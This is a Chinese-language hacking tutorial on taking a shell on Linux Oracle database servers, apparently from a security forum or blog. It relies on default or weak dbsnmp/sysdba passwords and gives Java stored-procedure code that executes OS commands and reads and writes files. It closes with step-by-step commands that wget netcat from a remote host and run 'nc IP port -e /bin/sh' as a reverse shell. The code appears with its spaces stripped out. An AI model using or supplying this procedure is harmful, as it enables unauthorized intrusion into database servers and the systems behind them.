很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户(sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到系统的SYSTEM权限。
而对于Linux下的Oracle数据库入侵,因为Linux下一般Oracle数据库都是以Oracle的独立用户在跑,所以无法获取到root权限。当然很多WEB和数据库在同一服务器上的时候,可以导出WEBSHELL到WEB目录来获取权限。然而大部分的数据库都是独立跑在一个服务器上,以下用简单的方式获取Oracle的shell,即采用nc反弹的shell的方式。
1、Oracle数据库支持JAVA(如Windows下入侵一般)
2、通过Oracle客户端sqlplus,以sysdba用户登录(dbsnmp用户可提权至sysdba)
3、执行以下代码:
CODE_1:
java
createorreplaceandresolvejavasourcenamed"oraexec"as
importjava.lang.*;
importjava.io.*;
publicclassoraexec
{
/*
*Commandexecutionmodule
*/
publicstaticvoidexecCommand(Stringcommand)throwsIOException
{
Runtime.getRuntime().exec(command);
}
/*
*Filereadingmodule
*/
publicstaticvoidreadFile(Stringfilename)throwsIOException
{
FileReaderf=newFileReader(filename);
BufferedReaderfr=newBufferedReader(f);
Stringtext=fr.readLine();
while(text!=null){
System.out.println(text);
text=fr.readLine();
}
fr.close();
}
/*
*Filewritingmodule
*/
publicstaticvoidwriteFile(Stringfilename,Stringline)throwsIOException
{
FileWriterf=newFileWriter(filename,true);/*append*/
BufferedWriterfw=newBufferedWriter(f);
fw.write(line);
fw.write("\n");
fw.close();
}
}
============================================
CODE_2:
--usage:execjavacmd('command');
createorreplaceprocedurejavacmd(p_commandvarchar2)as
languagejava
name'oraexec.execCommand(java.lang.String)';===========================================
CODE_3:
--usage:execdbms_java.set_output(2000);
--setserveroutputon;
--execjavareadfile('/path/to/file');
createorreplaceprocedurejavareadfile(p_filenameinvarchar2)as
languagejava
name'oraexec.readFile(java.lang.String)';============================================
CODE_4:
--usage:execjavawritefile('/path/to/file','linetoappend');
createorreplaceprocedurejavawritefile(p_filenameinvarchar2,p_lineinvarchar2)aslanguagejava
name'oraexec.writeFile(java.lang.String,java.lang.String)';4、
execjavawritefile('/tmp/getnc','wgethttp://www/nc-O/tmp/nc');//写入wgetnc命令到文件getnc
execdbms_java.set_output(2000);//设置javareadfile
setserveroutputon;
execjavareadfile('/tmp/getnc');//读取文件查看是否写入成功
execjavacmd('/bin/sh/tmp/getnc');//执行命令下载nc
execjavareadfile('/tmp/nc');//查看nc是否下载成功
execjavawritefile('/tmp/shell','/tmp/ncIPport-e/bin/sh');//写入反弹命令
execjavareadfile('/tmp/shell');//读取文件查看是否写入成功
execjavacmd('/bin/sh/tmp/shell');//执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙
*
* |